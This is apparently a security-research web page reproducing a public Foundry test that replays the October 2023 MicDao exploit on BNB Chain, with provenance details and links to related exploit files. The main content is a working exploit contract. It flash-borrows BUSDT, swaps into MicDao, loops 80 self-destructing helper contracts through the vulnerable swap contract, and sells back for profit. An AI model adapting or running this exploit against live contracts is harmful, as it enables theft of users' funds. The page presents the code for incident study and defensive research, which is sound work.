Public reproduction file
src/test/2023-10/MicDao_exp.sol
Public reproduction file for dataset entry MicDao.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$13K8// Attacker : https://bscscan.com/address/0xcd03ed98868a6cd78096f116a4b56a5f2c67757d9// Attack Contract : https://bscscan.com/address/0x502b4a51ca7900f391d474268c907b110a277d6f10// Victim Contract : https://bscscan.com/address/0xf6876f6ab2637774804b85aecc17b434a2b5716811// Attack Tx : https://bscscan.com/tx/0x24a2fbb27d433d91372525954f0d7d1af7509547b9ada29cc6c078e732c6d07513// @Analysis14// https://twitter.com/CertiKAlert/status/171467787542768454415// https://twitter.com/ChainAegis/status/171483751948820527617interface ISwapContract {18 function swap(uint256 amount, address originToken) external;19}21contract ContractTest is Test {22 IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);23 IERC20 private constant MicDao = IERC20(0xf6876f6AB2637774804b85aECC17b434a2B57168);24 IDPPOracle private constant DPPOracle = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);25 Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);27 function setUp() public {28 vm.createSelectFork("bsc", 32_711_747);29 vm.label(address(BUSDT), "BUSDT");30 vm.label(address(MicDao), "MicDao");31 vm.label(address(DPPOracle), "DPPOracle");32 vm.label(address(Router), "Router");33 }35 function testExploit() public {36 deal(address(BUSDT), address(this), 0);37 emit log_named_decimal_uint(38 "Attacker BUSDT balance before exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals()39 );41 DPPOracle.flashLoan(0, (BUSDT.balanceOf(address(DPPOracle)) * 99) / 100, address(this), abi.encode(0));43 emit log_named_decimal_uint(44 "Attacker BUSDT balance after exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals()45 );46 }48 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {49 BUSDT.approve(address(Router), type(uint256).max);50 MicDao.approve(address(Router), type(uint256).max);51 BUSDTToMicDao();53 // Start exploit54 uint8 i;55 while (i < 80) {56 HelperContract Helper = new HelperContract();57 BUSDT.transfer(address(Helper), 2000 * 1e18);58 Helper.work();59 ++i;60 }61 // End exploit63 // Swap much more MicDao tokens to BUSDT64 MicDaoToBUSDT();65 // Repay flashloan and keep profit66 BUSDT.transfer(msg.sender, quoteAmount);67 }69 receive() external payable {}71 function BUSDTToMicDao() internal {72 address[] memory path = new address[](2);73 path[0] = address(BUSDT);74 path[1] = address(MicDao);76 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(77 500_000 * 1e18, 0, path, address(this), block.timestamp + 100078 );79 }81 function MicDaoToBUSDT() internal {82 address[] memory path = new address[](2);83 path[0] = address(MicDao);84 path[1] = address(BUSDT);86 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(87 MicDao.balanceOf(address(this)), 0, path, address(this), block.timestamp + 100088 );89 }90}92contract HelperContract {93 ISwapContract private constant SwapContract = ISwapContract(0x19345233ea7486c1D5d780A19F0e303597E480b5);94 IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);95 IERC20 private constant MicDao = IERC20(0xf6876f6AB2637774804b85aECC17b434a2B57168);96 address private immutable owner;98 constructor() {99 owner = msg.sender;100 }102 function work() external {103 BUSDT.approve(address(SwapContract), type(uint256).max);104 SwapContract.swap(2000 * 1e18, owner);105 MicDao.transfer(owner, MicDao.balanceOf(address(this)));106 selfdestruct(payable(owner));107 }108}Analysis
Dataset entry
Public Foundry test for “MicDao” (2023-10-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-10/Astrid_exp.solSame month in the dataset · 156 lines
- src/test/2023-10/BelugaDex_exp.solSame month in the dataset · 171 lines
- src/test/2023-10/BH_exp.solSame month in the dataset · 139 lines
- src/test/2023-10/DePayRouter_exp.solSame month in the dataset · 132 lines
- src/test/2023-10/Hopelend_exp.solSame month in the dataset · 240 lines
- src/test/2023-10/kTAF_exp.solSame month in the dataset · 146 lines
- src/test/2023-10/LaEeb_exp.solSame month in the dataset · 50 lines
- src/test/2023-10/MaestroRouter2_exp.solSame month in the dataset · 85 lines
- src/test/2023-10/OpenLeverage_exp.solSame month in the dataset · 130 lines
- src/test/2023-10/Platypus03_exp.solSame month in the dataset · 112 lines
- src/test/2023-10/pSeudoEth_exp.solSame month in the dataset · 79 lines
- src/test/2023-10/StarsArena_exp.solSame month in the dataset · 50 lines
- src/test/2023-10/UniBot_exp.solSame month in the dataset · 80 lines
- src/test/2023-10/WiseLending_exp.solSame month in the dataset · 185 lines
- src/test/2023-10/ZS_exp.solSame month in the dataset · 141 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xcd03ed98868a6cd78096f116a4b56a5f2c67757d
- Attack Contract
0x502b4a51ca7900f391d474268c907b110a277d6f
- Victim
0xf6876f6ab2637774804b85aecc17b434a2b57168
- Attack Tx
0x24a2fbb27d433d91372525954f0d7d1af7509547b9ada29cc6c078e732c6d075
- Explorer: https://bscscan.com/address/0xcd03ed98868a6cd78096f116a4b56a5f2c67757d
- Explorer: https://bscscan.com/address/0x502b4a51ca7900f391d474268c907b110a277d6f
- Explorer: https://bscscan.com/address/0xf6876f6ab2637774804b85aecc17b434a2b57168
- Reference: https://twitter.com/CertiKAlert/status/1714677875427684544
- Reference: https://twitter.com/ChainAegis/status/1714837519488205276
File record
- Name
- MicDao
- Path
- src/test/2023-10/MicDao_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 11d1775f51d9035a1d1c4d0e91f769f44654955a
- Language
- Solidity
- Size
- 109 lines
- Date
- 2023-10-18
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-10/MicDao_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 11d1775f51d9035a1d1c4d0e91f769f44654955a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.